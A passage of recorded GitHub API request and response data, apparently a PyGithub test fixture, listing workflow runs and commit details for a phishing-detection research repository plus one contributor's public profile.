'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c87a31882ef244f45740a3e3a149c4714f9ecce8c1b29de53013ae837823c4bd"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4912'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '88'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14A:1734:4A021:A9B61:5F987C9D')] -{"total_count":1,"workflow_runs":[{"id":204764033,"node_id":"MDExOldvcmtmbG93UnVuMjA0NzY0MDMz","head_branch":"adversary","head_sha":"9693e6ca40711c68e2d2ecc4e291b3880c006336","run_number":628,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1038316439,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMDM4MzE2NDM5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/204764033","pull_requests":[],"created_at":"2020-08-11T23:46:58Z","updated_at":"2020-08-12T00:04:06Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1038316439","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/204764033/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"9693e6ca40711c68e2d2ecc4e291b3880c006336","tree_id":"8f391261d2f13bbd878f5ef493d22ceb2b2719a8","message":"Adversary Integration\n\n- 2 new datasets paths + 2 True/False in config file\n- Changes email's text before extracting with the adversarial text\n- Changes are made based on corresponding text file name. If not found, it will not change text.","timestamp":"2020-08-11T23:16:38Z","author":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com"},"committer":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} - -https -GET -api.github.com -None -/users/shahryarabaki -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"41eac0814954da003d4caa61d87eb4301827596dc7a117fd554c912dea4a376c"'), ('Last-Modified', 'Tue, 29 Sep 2020 03:18:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4911'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '89'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14B:0434:AF45A:125316:5F987C9D')] -{"login":"shahryarabaki","id":19786497,"node_id":"MDQ6VXNlcjE5Nzg2NDk3","avatar_url":"https://avatars3.githubusercontent.com/u/19786497?v=4","gravatar_id":"","url":"https://api.github.com/users/shahryarabaki","html_url":"https://github.com/shahryarabaki","followers_url":"https://api.github.com/users/shahryarabaki/followers","following_url":"https://api.github.com/users/shahryarabaki/following{/other_user}","gists_url":"https://api.github.com/users/shahryarabaki/gists{/gist_id}","starred_url":"https://api.github.com/users/shahryarabaki/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shahryarabaki/subscriptions","organizations_url":"https://api.github.com/users/shahryarabaki/orgs","repos_url":"https://api.github.com/users/shahryarabaki/repos","events_url":"https://api.github.com/users/shahryarabaki/events{/privacy}","received_events_url":"https://api.github.com/users/shahryarabaki/received_events","type":"User","site_admin":false,"name":"Shahryar Baki","company":"University of Houston","blog":"http://www2.cs.uh.edu/~shahryar/","location":"United State","email":"sh.baki@gmail.com","hireable":null,"bio":"Graduate Student at University of Houston","twitter_username":null,"public_repos":6,"public_gists":0,"followers":4,"following":0,"created_at":"2016-06-06T22:05:34Z","updated_at":"2020-09-29T03:18:45Z"} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runs?actor=shahryarabaki -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b016648ce354ad15a2eb10ac00caace03a4af3f69bb46e1fd6f542f950731970"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4910'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '90'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14C:1735:88A51:E7EEE:5F987C9E')] -{"total_count":3,"workflow_runs":[{"id":28372848,"node_id":"MDExOldvcmtmbG93UnVuMjgzNzI4NDg=","head_branch":"master","head_sha":"de9f59db7acd7c0916037eafbdbb145b3c1c2529","run_number":24,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":403444857,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU0MDM0NDQ4NTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/28372848","pull_requests":[],"created_at":"2020-01-16T04:37:43Z","updated_at":"2020-01-16T04:42:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/403444857","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"de9f59db7acd7c0916037eafbdbb145b3c1c2529","tree_id":"91e32ec11e07b66c52164271628453c0704ac2d5","message":"Force re-install of nose","timestamp":"2020-01-16T04:37:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":26754212,"node_id":"MDExOldvcmtmbG93UnVuMjY3NTQyMTI=","head_branch":"master","head_sha":"a8511f8d1c175332a8dd5c77df314ac2a3557771","run_number":10,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":399233799,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUzOTkyMzM3OTk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/26754212","pull_requests":[],"created_at":"2020-01-14T06:50:54Z","updated_at":"2020-01-14T06:55:26Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/399233799","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a8511f8d1c175332a8dd5c77df314ac2a3557771","tree_id":"e0fc2b4f2eb107ebc4e431a257c02a4928f03c38","message":"Added github workflow to run unit tests","timestamp":"2020-01-14T03:14:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.